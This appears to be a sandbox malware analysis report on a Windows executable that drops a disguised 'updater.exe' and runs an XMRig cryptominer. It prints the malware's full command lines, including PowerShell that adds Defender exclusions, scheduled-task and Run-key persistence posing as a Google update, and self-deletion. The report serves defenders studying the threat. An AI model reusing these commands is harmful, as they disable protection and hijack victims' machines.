Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
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max time kernel
472s -
max time network
1787s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
24-01-2024 17:15
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231129-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231129-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
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Target
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 3028 created 1352 3028 Gu3PdXt79NF7EJXJ.exe 11 PID 3028 created 1352 3028 Gu3PdXt79NF7EJXJ.exe 11 PID 3028 created 1352 3028 Gu3PdXt79NF7EJXJ.exe 11 PID 3028 created 1352 3028 Gu3PdXt79NF7EJXJ.exe 11 PID 2596 created 1352 2596 updater.exe 11 PID 2596 created 1352 2596 updater.exe 11 PID 2596 created 1352 2596 updater.exe 11 PID 2596 created 1352 2596 updater.exe 11 PID 2840 created 1352 2840 conhost.exe 11 PID 2596 created 1352 2596 updater.exe 11 -
XMRig Miner payload 29 IoCs
resource yara_rule behavioral13/memory/1732-70-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/1732-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2444 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2596 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 1848 taskeng.exe -
resource yara_rule behavioral13/memory/1732-65-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-70-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/1732-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2596 set thread context of 2840 2596 updater.exe 52 PID 2596 set thread context of 1732 2596 updater.exe 53 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe Gu3PdXt79NF7EJXJ.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2872 schtasks.exe 2524 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1564 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 3026ac97b74fda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 3028 Gu3PdXt79NF7EJXJ.exe 3028 Gu3PdXt79NF7EJXJ.exe 756 powershell.exe 3028 Gu3PdXt79NF7EJXJ.exe 3028 Gu3PdXt79NF7EJXJ.exe 2572 powershell.exe 3028 Gu3PdXt79NF7EJXJ.exe 3028 Gu3PdXt79NF7EJXJ.exe 3028 Gu3PdXt79NF7EJXJ.exe 3028 Gu3PdXt79NF7EJXJ.exe 2604 powershell.exe 2596 updater.exe 2596 updater.exe 1452 powershell.exe 2596 updater.exe 2596 updater.exe 1860 powershell.exe 2596 updater.exe 2596 updater.exe 2596 updater.exe 2596 updater.exe 2840 conhost.exe 2840 conhost.exe 2596 updater.exe 2596 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 756 powershell.exe Token: SeDebugPrivilege 2572 powershell.exe Token: SeDebugPrivilege 2604 powershell.exe Token: SeDebugPrivilege 1452 powershell.exe Token: SeDebugPrivilege 1860 powershell.exe Token: SeDebugPrivilege 2596 updater.exe Token: SeAssignPrimaryTokenPrivilege 1564 WMIC.exe Token: SeIncreaseQuotaPrivilege 1564 WMIC.exe Token: SeSecurityPrivilege 1564 WMIC.exe Token: SeTakeOwnershipPrivilege 1564 WMIC.exe Token: SeLoadDriverPrivilege 1564 WMIC.exe Token: SeSystemtimePrivilege 1564 WMIC.exe Token: SeBackupPrivilege 1564 WMIC.exe Token: SeRestorePrivilege 1564 WMIC.exe Token: SeShutdownPrivilege 1564 WMIC.exe Token: SeSystemEnvironmentPrivilege 1564 WMIC.exe Token: SeUndockPrivilege 1564 WMIC.exe Token: SeManageVolumePrivilege 1564 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1564 WMIC.exe Token: SeIncreaseQuotaPrivilege 1564 WMIC.exe Token: SeSecurityPrivilege 1564 WMIC.exe Token: SeTakeOwnershipPrivilege 1564 WMIC.exe Token: SeLoadDriverPrivilege 1564 WMIC.exe Token: SeSystemtimePrivilege 1564 WMIC.exe Token: SeBackupPrivilege 1564 WMIC.exe Token: SeRestorePrivilege 1564 WMIC.exe Token: SeShutdownPrivilege 1564 WMIC.exe Token: SeSystemEnvironmentPrivilege 1564 WMIC.exe Token: SeUndockPrivilege 1564 WMIC.exe Token: SeManageVolumePrivilege 1564 WMIC.exe Token: SeLockMemoryPrivilege 1732 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2572 wrote to memory of 2872 2572 powershell.exe 32 PID 2572 wrote to memory of 2872 2572 powershell.exe 32 PID 2572 wrote to memory of 2872 2572 powershell.exe 32 PID 2444 wrote to memory of 2536 2444 cmd.exe 33 PID 2444 wrote to memory of 2536 2444 cmd.exe 33 PID 2444 wrote to memory of 2536 2444 cmd.exe 33 PID 2604 wrote to memory of 2660 2604 powershell.exe 39 PID 2604 wrote to memory of 2660 2604 powershell.exe 39 PID 2604 wrote to memory of 2660 2604 powershell.exe 39 PID 1848 wrote to memory of 2596 1848 taskeng.exe 40 PID 1848 wrote to memory of 2596 1848 taskeng.exe 40 PID 1848 wrote to memory of 2596 1848 taskeng.exe 40 PID 1860 wrote to memory of 2524 1860 powershell.exe 45 PID 1860 wrote to memory of 2524 1860 powershell.exe 45 PID 1860 wrote to memory of 2524 1860 powershell.exe 45 PID 2596 wrote to memory of 2840 2596 updater.exe 52 PID 1996 wrote to memory of 1564 1996 cmd.exe 46 PID 1996 wrote to memory of 1564 1996 cmd.exe 46 PID 1996 wrote to memory of 1564 1996 cmd.exe 46 PID 2596 wrote to memory of 1732 2596 updater.exe 53 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1352
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3028
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:756
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2572 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2872
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2444
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2604 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2660
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1452
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1860 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2524
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1516
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1996
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2840
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1732
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2536
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C:\Windows\system32\taskeng.exetaskeng.exe {4CA612AE-223D-42F2-B4EB-3BA476DFF398} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1848 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2596
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1564
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1.6MB
MD57ff73cf64c17c7c9c1cb1214d79798da
SHA1363dc2303edef87b946d03d3be01af9c5c002d50
SHA2561537ea4599500888c75a6d382d6d6d4f4b437c3a43bed28d1f34cd69a6c6505c
SHA5126d2becae72ff2270cd3f82d9aa9e24c4e4f75ba5a4840fc53edf9830e5a7025aee05ae3a38f5a9210c276af287b3e7ea0e9c69c0681459f36265a7235694fdc6
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Filesize
1.7MB
MD58e057a5f5706f5c0cd43e2cdf1524f68
SHA115e104048a9610d2ab3088f9b85b55aacac52c07
SHA256c1afc9395a10951a65cdb26635133f9fdcc69ca42a7ca49274d0f3afc832e038
SHA5121764ecf53d529f228eed9d1b17a1e130aa9ad186a75fcbfe1064e37713723f280fe0bac37761bc439669e2af1056fee78383bc21061c46c603d12ea7623e8683
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5c4365fd9143af299d0435799c6c45082
SHA1edaf6cd0596828f87b58d2c38d0c799efb23a0eb
SHA25697d2e3412ba95e91807cd459d6fd586d5e5c69f88ca9664b6319e2addc87ef55
SHA512d2d1162cee56e948bcef0bbad5b3ba02cb6633e9f9427d4c1d89b106bb8c2967e3606d7d1385b9bc1dec7eb9e36a2ce7bfd0e352f508931b48ff5a87061a6402
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6